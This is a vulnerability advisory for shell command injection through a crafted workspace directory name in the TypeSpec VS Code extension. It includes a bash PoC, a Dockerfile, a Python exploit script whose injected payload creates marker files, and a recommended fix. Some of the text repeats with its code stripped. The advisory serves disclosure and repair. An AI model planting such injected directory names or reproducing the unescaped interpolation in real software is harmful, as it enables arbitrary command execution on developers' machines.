VS Code Task Shell Command Injection via Workspace Path
Summary
The TypeSpec VS Code extension (@typespec/vscode v1.14.0) constructs a shell command string by directly interpolating an attacker-controlled workspace file path into a template literal, then passes the resulting string to vscode.ShellExecution. Because no shell escaping is applied, a malicious workspace directory name containing shell metacharacters (e.g., a closing double-quote followed by arbitrary commands) causes arbitrary OS commands to execute with the victim's privileges when the user runs the auto-generated TypeSpec compile or watch task. CVSS Base Score: 7.8 (High).
Details
The TypeSpec VS Code extension registers a task provider on activation (extension.ts:61) that discovers all main.tsp files in the open workspace via vscode.workspace.findFiles() (task-provider.ts:17–22). For each discovered file, the extension constructs a shell command string at task-provider.ts:80:
let cmd = `${cli.command} ${cli.args?.join(" ") ?? ""} compile "${absoluteTargetPath}" ${args}`;
The absoluteTargetPath variable is derived from a workspace file path that is attacker-controlled through the directory name. Although normalizeSlashes() (path-utils.ts:464–471) is applied, it only converts backslashes to forward slashes and performs no shell metacharacter escaping. The constructed string is then executed at task-provider.ts:99–100:
? new vscode.ShellExecution(cmd, { cwd: workspaceFolder })
: new vscode.ShellExecution(cmd),
vscode.ShellExecution passes the entire command string to the OS shell (/bin/bash on Linux/macOS), interpreting all shell metacharacters. If the directory containing main.tsp has a name such as:
workspace"; touch /tmp/pwned; #
the resulting command becomes:
tsp compile "/base/workspace"; touch /tmp/pwned; #/main.tsp"
The shell parses this as three separate commands: the (failing) tsp compile invocation, the injected touch /tmp/pwned, and the rest treated as a comment. The injected command executes successfully.
Data flow (Source → Sink):
extension.ts:61 — extension registers createTaskProvider() on activation (default-on).
task-provider.ts:17–22 — vscode.workspace.findFiles('**/main.tsp', '**/node_modules/**') collects workspace file paths, including attacker-controlled directory names.
task-provider.ts:67–70 — path is resolved to absoluteTargetPath without shell escaping.
task-provider.ts:80 — absoluteTargetPath is interpolated into the command string enclosed only in double quotes.
task-provider.ts:99–100 — the full string is passed to new vscode.ShellExecution(cmd, ...) and executed by the OS shell.
Recommended fix: Replace vscode.ShellExecution with vscode.ProcessExecution and pass arguments as an array, bypassing the shell entirely:
- let cmd = `${cli.command} ${cli.args?.join(" ") ?? ""} compile "${absoluteTargetPath}" ${args}`;
+ const commandArgs = [
+ ...(cli.args ?? []),
+ "compile",
+ absoluteTargetPath,
+ ...normalizeTaskArgs(args),
+ ];
...
- ? new vscode.ShellExecution(cmd, { cwd: workspaceFolder })
- : new vscode.ShellExecution(cmd),
+ ? new vscode.ProcessExecution(cli.command, commandArgs, { cwd: workspaceFolder })
+ : new vscode.ProcessExecution(cli.command, commandArgs),
PoC
Environment setup:
# Install the TypeSpec VS Code extension v1.14.0 (or clone microsoft/typespec @ d88ddc16)
# Ensure Node.js and the tsp CLI are available in the PATH
Create the malicious workspace:
base=$(mktemp -d /tmp/typespec-vscode-task-poc.XXXXXX)
# Directory name breaks out of double-quote context and injects two commands
evil_dir="${base}/workspace\"; touch /tmp/typespec-vscode-poc; touch /tmp/typespec-vscode-poc2; #"
mkdir -p "${evil_dir}"
printf 'namespace Demo;\n' > "${evil_dir}/main.tsp"
code "${base}"
Trigger the vulnerability in VS Code:
- VS Code opens the workspace. The TypeSpec extension activates automatically and discovers
main.tsp inside the maliciously named directory.
- Open the Command Palette → Tasks: Run Task → typespec → select the compile task whose label contains the evil directory name.
- The extension calls
vscode.ShellExecution with the unescaped command string.
Verify exploitation:
ls -la /tmp/typespec-vscode-poc /tmp/typespec-vscode-poc2
# Both files exist → arbitrary commands executed with victim's privileges
Docker-based reproduction (Phase 2 dynamic verification):
docker build -t typespec-vuln-001 /path/to/vuln-001/
docker run --rm typespec-vuln-001
# Output: "EXPLOIT SUCCESS — Shell injection confirmed"
# Both /tmp/typespec_injection_marker and /tmp/typespec_injection_result are created
The Node.js snippet (task-provider-snippet.js) reproduces the vulnerable line 80 verbatim and delegates execution to /bin/bash, faithfully simulating vscode.ShellExecution on Linux. Both marker files were confirmed created in Phase 2 dynamic testing.
Impact
This is an OS Command Injection (CWE-78) vulnerability. Any developer who:
- opens a repository or shared directory in VS Code with the TypeSpec extension active, and
- runs the auto-generated TypeSpec compile or watch task,
is at risk. The task provider is registered by default on extension activation and does not require any additional configuration. An attacker can distribute a malicious repository (e.g., via GitHub, npm workspace, or a shared network path) containing a directory whose name embeds shell metacharacters. When the victim runs the TypeSpec task, injected OS commands execute with the victim's full user privileges, enabling:
- Confidentiality: Exfiltration of source code, secrets, SSH keys, and credentials accessible to the victim.
- Integrity: Modification or deletion of local files; installation of backdoors or malware.
- Availability: Destruction of local data or disruption of developer workstations.
The attack requires only that the victim open the workspace and trigger the task — a realistic action during code review, onboarding, or normal development workflows.
Reproduction artifacts
Dockerfile
FROM node:18-slim
# Install Python3 to run the PoC script
RUN apt-get update && apt-get install -y python3 && rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the vulnerable source excerpt for documentation purposes
COPY task-provider-snippet.js /app/task-provider-snippet.js
# Copy the PoC
COPY poc.py /app/poc.py
# Run the PoC by default
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: VS Code Task Shell Command Injection via Workspace Path
Repository : microsoft/typespec v1.14.0 (commit d88ddc16)
CWE : CWE-78 — OS Command Injection
CVSS : 7.8 High (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Vulnerable : packages/typespec-vscode/src/task-provider.ts:80
Root cause:
The TypeSpec VS Code extension discovers all `main.tsp` files inside the
opened workspace and constructs a shell command by directly interpolating
the file path (which is attacker-controlled via the directory name) into a
template literal:
// task-provider.ts:80
let cmd = `${cli.command} ${cli.args?.join(" ") ?? ""} compile "${absoluteTargetPath}" ${args}`;
The resulting string is then passed to vscode.ShellExecution (task-provider.ts:99),
which runs it with /bin/bash on Linux/macOS. No shell escaping is applied.
Attack scenario:
1. Attacker distributes a repository whose root directory contains a
sub-directory whose name embeds shell metacharacters (e.g. a closing
double-quote followed by arbitrary commands).
2. Victim opens the repository in VS Code with the TypeSpec extension active.
3. Victim runs the auto-generated "typespec: compile" task.
4. Injected commands execute with the victim's OS privileges.
This PoC reproduces step 3 by delegating to task-provider-snippet.js, which
contains a verbatim copy of the vulnerable line 80 and executes the resulting
command string via /bin/bash (equivalent to vscode.ShellExecution on Linux).
"""
import os
import subprocess
import sys
import tempfile
# Marker files created by the injected payload — proof of code execution
MARKER_1 = "/tmp/typespec_injection_marker"
MARKER_2 = "/tmp/typespec_injection_result"
SNIPPET = "/app/task-provider-snippet.js"
SEP = "=" * 64
def banner(msg: str) -> None:
print(f"\n{SEP}")
print(f" {msg}")
print(SEP)
def run_snippet(malicious_path: str) -> subprocess.CompletedProcess:
"""Invoke the Node.js simulation of task-provider.ts with the crafted path."""
return subprocess.run(
["node", SNIPPET, malicious_path],
capture_output=True,
text=True,
timeout=20,
)
def main() -> int:
banner("VULN-001 — TypeSpec VS Code Task Shell Injection PoC")
# Clean up from previous runs
for f in [MARKER_1, MARKER_2]:
if os.path.exists(f):
os.unlink(f)
# ── Step 1: Build the malicious workspace directory structure ─────────────
print("\n[1] Creating malicious workspace directory...")
base_dir = tempfile.mkdtemp(prefix="typespec-poc-")
print(f" Base directory : {base_dir}")
# The directory name injects two commands after breaking out of the
# double-quoted argument via a literal `"` character:
#
# evil dir name : workspace"; touch MARKER_1; touch MARKER_2; #
#
# Resulting shell command (task-provider.ts:80 output):
#
# tsp compile "/base/workspace"; touch MARKER_1; touch MARKER_2; #/main.tsp"
# ^─────────────────────────────────^ injected
injection_payload = (
f'; touch {MARKER_1}; touch {MARKER_2}; #'
)
evil_dir_name = f'workspace"{injection_payload}'
evil_dir = os.path.join(base_dir, evil_dir_name)
os.makedirs(evil_dir, exist_ok=True)
print(f" Malicious dir : {repr(evil_dir_name)}")
# Place a valid main.tsp inside so the extension's findFiles() picks it up
main_tsp = os.path.join(evil_dir, "main.tsp")
with open(main_tsp, "w") as fh:
fh.write("namespace Demo;\n")
print(f" main.tsp path : {main_tsp}")
# ── Step 2: Show the command that task-provider.ts:80 would construct ─────
print("\n[2] Command string as constructed by task-provider.ts:80:")
simulated_cmd = f'tsp compile "{main_tsp}" '
print(f" {simulated_cmd}")
print()
print(" Shell parsing breakdown:")
print(f" [cmd 1] tsp compile \"{base_dir}/workspace\" ← closes at injected '\"'")
print(f" [cmd 2] touch {MARKER_1} ← INJECTED")
print(f" [cmd 3] touch {MARKER_2} ← INJECTED")
print(f" [rest ] #/main.tsp\" ← comment, ignored")
# ── Step 3: Execute via Node.js simulation (task-provider-snippet.js) ─────
print("\n[3] Invoking task-provider-snippet.js (simulates vscode.ShellExecution)...")
result = run_snippet(main_tsp)
print(f" Node.js exit code : {result.returncode}")
if result.stdout.strip():
for line in result.stdout.strip().splitlines():
print(f" [node] {line}")
if result.stderr.strip():
for line in result.stderr.strip().splitlines():
print(f" [node/err] {line}")
# ── Step 4: Verify exploitation ───────────────────────────────────────────
print("\n[4] Checking injection markers...")
m1_ok = os.path.exists(MARKER_1)
m2_ok = os.path.exists(MARKER_2)
print(f" {MARKER_1} : {'CREATED ✓' if m1_ok else 'MISSING ✗'}")
print(f" {MARKER_2} : {'CREATED ✓' if m2_ok else 'MISSING ✗'}")
# ── Final verdict ─────────────────────────────────────────────────────────
if m1_ok and m2_ok:
banner("EXPLOIT SUCCESS — Shell injection confirmed")
print(" Both marker files created by injected shell commands.")
print(" Proof: arbitrary OS commands execute with victim privileges when")
print(" vscode.ShellExecution processes the unescaped path string.")
print(f"\n Vulnerable line : task-provider.ts:80")
print(f" Sink : new vscode.ShellExecution(cmd, ...)")
print(f" Fix : use vscode.ProcessExecution with argv array instead")
print()
return 0
else:
banner("EXPLOIT FAILED")
print(" Marker files were not created. Check that:")
print(" - Node.js is installed and /app/task-provider-snippet.js is present")
print(" - /tmp is writable inside the container")
print()
return 1
if __name__ == "__main__":
sys.exit(main())
VS Code Task Shell Command Injection via Workspace Path
Summary
The TypeSpec VS Code extension (
@typespec/vscodev1.14.0) constructs a shell command string by directly interpolating an attacker-controlled workspace file path into a template literal, then passes the resulting string tovscode.ShellExecution. Because no shell escaping is applied, a malicious workspace directory name containing shell metacharacters (e.g., a closing double-quote followed by arbitrary commands) causes arbitrary OS commands to execute with the victim's privileges when the user runs the auto-generated TypeSpec compile or watch task. CVSS Base Score: 7.8 (High).Details
The TypeSpec VS Code extension registers a task provider on activation (
extension.ts:61) that discovers allmain.tspfiles in the open workspace viavscode.workspace.findFiles()(task-provider.ts:17–22). For each discovered file, the extension constructs a shell command string attask-provider.ts:80:The
absoluteTargetPathvariable is derived from a workspace file path that is attacker-controlled through the directory name. AlthoughnormalizeSlashes()(path-utils.ts:464–471) is applied, it only converts backslashes to forward slashes and performs no shell metacharacter escaping. The constructed string is then executed attask-provider.ts:99–100:vscode.ShellExecutionpasses the entire command string to the OS shell (/bin/bashon Linux/macOS), interpreting all shell metacharacters. If the directory containingmain.tsphas a name such as:the resulting command becomes:
The shell parses this as three separate commands: the (failing)
tsp compileinvocation, the injectedtouch /tmp/pwned, and the rest treated as a comment. The injected command executes successfully.Data flow (Source → Sink):
extension.ts:61— extension registerscreateTaskProvider()on activation (default-on).task-provider.ts:17–22—vscode.workspace.findFiles('**/main.tsp', '**/node_modules/**')collects workspace file paths, including attacker-controlled directory names.task-provider.ts:67–70— path is resolved toabsoluteTargetPathwithout shell escaping.task-provider.ts:80—absoluteTargetPathis interpolated into the command string enclosed only in double quotes.task-provider.ts:99–100— the full string is passed tonew vscode.ShellExecution(cmd, ...)and executed by the OS shell.Recommended fix: Replace
vscode.ShellExecutionwithvscode.ProcessExecutionand pass arguments as an array, bypassing the shell entirely:PoC
Environment setup:
Create the malicious workspace:
Trigger the vulnerability in VS Code:
main.tspinside the maliciously named directory.vscode.ShellExecutionwith the unescaped command string.Verify exploitation:
ls -la /tmp/typespec-vscode-poc /tmp/typespec-vscode-poc2 # Both files exist → arbitrary commands executed with victim's privilegesDocker-based reproduction (Phase 2 dynamic verification):
The Node.js snippet (
task-provider-snippet.js) reproduces the vulnerable line 80 verbatim and delegates execution to/bin/bash, faithfully simulatingvscode.ShellExecutionon Linux. Both marker files were confirmed created in Phase 2 dynamic testing.Impact
This is an OS Command Injection (CWE-78) vulnerability. Any developer who:
is at risk. The task provider is registered by default on extension activation and does not require any additional configuration. An attacker can distribute a malicious repository (e.g., via GitHub, npm workspace, or a shared network path) containing a directory whose name embeds shell metacharacters. When the victim runs the TypeSpec task, injected OS commands execute with the victim's full user privileges, enabling:
The attack requires only that the victim open the workspace and trigger the task — a realistic action during code review, onboarding, or normal development workflows.
Reproduction artifacts
Dockerfilepoc.py